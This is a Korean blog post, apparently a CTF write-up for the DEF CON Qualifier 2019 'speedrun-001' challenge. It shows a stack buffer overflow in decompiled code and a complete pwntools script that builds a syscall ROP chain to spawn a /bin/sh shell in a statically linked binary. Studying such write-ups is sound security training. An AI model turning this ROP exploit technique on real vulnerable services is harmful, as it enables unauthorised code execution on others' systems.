SDJ( 수돈재 아님 ㅎ )

Defcon Qualifier 2019 - speedrun-001 본문

write-up/pwnable

Defcon Qualifier 2019 - speedrun-001

ShinDongJun 2020. 2. 4. 22:19

보호기법은 다음과 Partial RELRO와 NX가 걸려있다.

 

바이너리를 분석해보자

speedrun 문제는 다 간단한 문제들이라 취약점은 쉽게 보인다.

 

 

sub_400B60()함수를 보면 

1
2
3
4
5
6
7
8
__int64 sub_400B60()
{
    char buf; // [rsp+0h] [rbp-400h]
 
    sub_410390("Any last words?");
    sub_4498A0(0&buf, 0x7D0uLL);
    return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
}

BOF가 터지는게 보인다.

 

이 바이너리는 Dynamic linkingdynamically linked이 아니라 statically linked되었기 때문에 syscall로 ROP를 해야한다.

 

system("/bin/sh")를 syscall로 하기 위한 가장 기본적인 형태는 execve("/bin/sh", 0, 0)형태기 때문에

저거에 맞는 레지스터의 값을 넣어주면 된다.

 

"/bin/sh"가 들어있는 문자열을 포인터를 주기 위해, 

rdi에 bss, rsi에 "/bin/sh"문자열을 주고, 

mov [rdi], rsi를 통해 bss에 "/bin/sh"의 값을 넣어줬다.

그리고 syscall을 하면 execve("/bin/sh", 0, 0)이 실행된다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
 
= process('./speedrun-001')
 
syscall = 0x40129c
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
mov_ptrrdi_rsi = 0x0000000000446feb
bin_sh = 0x0068732f6e69622f
 
bss = 0x00000000006BC9D0 + 0x500
 
pay = ''
pay += 'a'*0x400
pay += 'b'*8
pay += p64(pop_rsi)
pay += p64(bin_sh)
 
pay += p64(pop_rdi)
pay += p64(bss)
 
pay += p64(mov_ptrrdi_rsi)
 
pay += p64(pop_rax)
pay += p64(59)
 
pay += p64(pop_rdx)
pay += p64(0)
 
pay += p64(pop_rsi)
pay += p64(0)
 
pay += p64(syscall)
p.send(pay)
 
p.interactive()

 

Comments